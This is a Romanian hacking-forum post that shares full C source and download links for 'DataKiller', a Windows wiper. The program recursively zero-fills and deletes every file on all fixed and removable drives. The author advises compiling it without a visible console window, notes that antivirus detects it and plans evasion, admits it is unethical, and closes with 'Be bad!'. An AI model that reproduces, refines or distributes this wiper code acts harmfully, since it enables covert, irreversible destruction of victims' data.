Jump to content
Nytro

[RST] DataKiller v0.2

Recommended Posts

Nume: DataKiller

Descriere: Sterge toate fisierele

Autor: Grupul C/C++ Coder @ Romanian Security Team

Marime: 8.5 KB

Atentie! Nu rulati acest executabil, va incerca sa stearga toate fisierele!

O descriere mai amanantita: acum ceva timp, mi-a cerut cineva un astfel de program si mi s-a parut o idee interesanta. Este a doua versiune, am de gand sa ii pun cateva optiuni utile (sa stearga doar pozele de exemplu).

Ce e nou:

- Safe File Delete

Nu e nimic complicat, dar poate fi foarte util. Singurul lucru pe care il face e sa inlocuiasca toate datele din fisierele care urmeaza sa fie sterge cu NULL. Astfel, un fisier ce contine "aaa", va contine "NULL,NULL,NULL" apoi va fi sters. In caz ca nu stiati, cand dati Delete la un fisier, datele din fisier nu sunt sterse, ci e stearsa doar legatura catre acel fisier, dar datele raman pe hard disk si pot fi recuperate partial sau total. Cu aceasta optiune, nu vor mai putea fi recuperate, insa executia programului va fi MULT mai lunga si va consuma mai multe resurse. Va dura peste 30 de minute, depinde de marimea si nr. fisierelor de pe calculator. Eu estimez ca ar dura cam 1-2 ore o executie.

Si oricum am cateva idei de viitor. E singura optiune implementata, dar dupa cum se vede in sursa mai am cateva idei de pus in aplicare.

Codul sursa nu are rost sa il ascund, problema ar fi faptul ca nu e extraodrinar scris, nu m-am straduit sa fac optimizari.

DataKiller.c


/*
Name: DataKiller.c
Description: Delete all deleteable files
Authors: Grupul C/C++ Coder @ Romanian Security Team
Info: Nu toate optiunile au fost implementate
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Setari definite de utilizator - puteti sa modificati valorile */

int safe_file_delete = 1; /* "-[n]sf" Sterge fisierul fara sa poata fi recuperat */
int safe_delete_file_info = 0; /* "-[n]si" Sterge si informatiile despre fisier */
int delete_all_files = 1; /* "-[n]da" Sterge toate fisierele */
int delete_all_images = 1; /* "-[n]di" Sterge toate imaginile */
int delete_all_media = 1; /* "-[n]dm" Sterge toate melodiile, videoclipurile */
int delete_all_documents = 1; /* "-[n]dd" Sterge toate documentele */
int exclude_windows_partition = 0; /* "-[n]ew" Nu sterge nimic de pe partita cu Windows-ul */

/* Marimi buffere */

#define VOLNAME_SIZE 4
#define VOLBUFFER_SIZE 1337
#define DIRBUFFER_SIZE 255
#define FILENAME_SIZE 31337

/* Contoare pentru nr. de fisiere si de foldere - statistici */

int nr_files = 0;
int nr_directories = 0;
int deleted_files = 0;
int deleted_directories = 0;

/* Functia inlocuieste datele dintr-un fisier cu 0 (NULL) */

void NullFile(const char *fisier)
{
HANDLE hFisier = NULL;
DWORD file_size = 0;
DWORD file_size_2 = 0, written = 0;

unsigned char *buf = NULL;

SetFileAttributes(fisier, FILE_ATTRIBUTE_NORMAL);

hFisier = CreateFile(fisier, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL);

if(hFisier != INVALID_HANDLE_VALUE)
{
file_size = GetFileSize(hFisier, &file_size_2);

/* NULL-uim fisierul, ca sa nu poata fi recuperate datele */

buf = (unsigned char *)malloc(file_size);
memset(buf, 0, file_size);

WriteFile(hFisier, buf, file_size, &written, NULL);

free(buf);

CloseHandle(hFisier);
}
}

/* Functie recursiva, sterge folderele si fisierele */

void DeleteFiles(char *directory)
{
WIN32_FIND_DATA file_data;
HANDLE hFisier;
int new_file = 1;
char dir_buffer[DIRBUFFER_SIZE] = {0};
char file_name[FILENAME_SIZE] = {0};
char new_dir[DIRBUFFER_SIZE] = {0};

/* Formam sirul de caractere pentru FindFirstFile */

memset(&file_data, 0, sizeof(WIN32_FIND_DATA));
sprintf(dir_buffer, "%s*", directory);

hFisier = FindFirstFile(dir_buffer, &file_data);

/* Parcurgem folderul */

while(hFisier != INVALID_HANDLE_VALUE && new_file)
{
sprintf(file_name, "%s%s", directory, file_data.cFileName);

/* Daca e folder */

if(GetFileAttributes(file_name) & ~(FILE_ATTRIBUTE_DIRECTORY ^ 0xFFFFFFFF) && (GetFileAttributes(file_name) != (unsigned)-1))
{
sprintf(new_dir, "%s\\", file_name);

/* Evitam "." si ".." */

if(file_name[strlen(file_name) - 1] != '.')
{
nr_directories++;
DeleteFiles(new_dir);
if(RemoveDirectory(new_dir)) deleted_directories++;
}
}

/* Daca e fisier */

else
{
nr_files++;
if(safe_file_delete) NullFile(file_name);
if(DeleteFile(file_name)) deleted_files++;
}

/* Trecem la urmatorul fisier/folder */

new_file = FindNextFile(hFisier, &file_data);
}

FindClose(hFisier);
}

int main(int argc, char *argv[])
{
char *dir_buffer = NULL;
char **drives = NULL;
int dir_buf_size = 0, nr_drives = 0, i = 0, a = 0;

/* Verificam parametrii din linia de comanda */

if(argc > 1)
{
for(a = 1; a < argc; a++)
{
/* Luam fiecare parametru in parte */

if(strcmp(argv[a], "-sf") == 0) safe_file_delete = 1;
else if(strcmp(argv[a], "-nsf") == 0) safe_file_delete = 0;

else if(strcmp(argv[a], "-si") == 0) safe_delete_file_info = 1;
else if(strcmp(argv[a], "-nsi") == 0) safe_delete_file_info = 0;

else if(strcmp(argv[a], "-da") == 0) delete_all_files = 1;
else if(strcmp(argv[a], "-nda") == 0) delete_all_files = 0;

else if(strcmp(argv[a], "-di") == 0) delete_all_images = 1;
else if(strcmp(argv[a], "-ndi") == 0) delete_all_images = 0;

else if(strcmp(argv[a], "-dm") == 0) delete_all_media = 1;
else if(strcmp(argv[a], "-ndm") == 0) delete_all_media = 0;

else if(strcmp(argv[a], "-dd") == 0) delete_all_documents = 1;
else if(strcmp(argv[a], "-ndd") == 0) delete_all_documents = 0;

else if(strcmp(argv[a], "-ew") == 0) exclude_windows_partition = 1;
else if(strcmp(argv[a], "-new") == 0) exclude_windows_partition = 0;
}
}

/* Alocam memorie */

dir_buffer = (char *)malloc(VOLBUFFER_SIZE);
dir_buf_size = GetLogicalDriveStrings(VOLBUFFER_SIZE, dir_buffer);
nr_drives = dir_buf_size / VOLNAME_SIZE;
drives = (char **)malloc(sizeof(char *) * nr_drives);

/* Parcurgem volumele */

for(i = 0; i < dir_buf_size / VOLNAME_SIZE; i++)
{
drives[i] = (char *)malloc(VOLNAME_SIZE);
strncpy(drives[i], dir_buffer + i * VOLNAME_SIZE, VOLNAME_SIZE);

printf("Drive: %s: %d\n", drives[i], GetDriveType(drives[i]));
if(GetDriveType(drives[i]) == DRIVE_FIXED || GetDriveType(drives[i]) == DRIVE_REMOVABLE) DeleteFiles(drives[i]);
}

printf("Foldere: %d\nFisiere: %d\n", nr_directories, nr_files);
printf("Foldere sterse: %d\nFisiere sterse: %d\n", deleted_directories, deleted_files);

/* Eliberam memoria */

for(i = 0; i < nr_drives; i++) free(drives[i]);
free(drives);
free(dir_buffer);
return 0;
}

Pastebin: [C] DataKiller.c - Pastebin.com

Daca vreti sa il compilati, compilati-l cu optiunea "-mwindows" pentru linker, astfel incat sa nu se deschida CMD-ul cand va fi rulat. Eu l-am compilat si cu optimizari pentru marime "-s" si "-Os".

Utilizare? Cred ca o sa ii gasiti voi una, cred ca vor fi destui care il vor gasi "util".

Partea nasoala, din cate observ, e ca e detectabil...

http://www.virustotal.com/file-scan/report.html?id=b0d3d314fa0de3e4041e16525017a7960641a089cd7bf5a887ccb9ec53d935df-1313949171

O sa lucrez si la acest aspect. Ideea e ca il puteti compila din sursa, sa nu credeti ca am postat altceva.

Download:

http://www.girlshare.ro/2529741.5
http://www.speedyshare.com/files/29969756/DataKiller.exe
http://www.megaupload.com/?d=S88LSQH1
http://www.mediafire.com/?ti4gvi9nnj7g91q
http://www.multiupload.com/DOTY3PVTX3

Stiu, e banal, stupid si non-etic, eu nu am nevoie de asa ceva dar unii poate au nevoie.

Fiti rai!

Link to comment
Share on other sites

La optiunea de excludere a partitiei cu Windows m-am gandit. Dar pot fi si alte fisiere pe acolo. Cred ca voi pune optiune de ocolire ?:/Windows si ?:/Program Files, ca in Documents And Settings se mai afla date, la fel si /Users pe Windows 7. Dar cred ca ma complic degeaba.

O sa ma mai gandesc si cand mai am timp liber mai lucrez la el.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...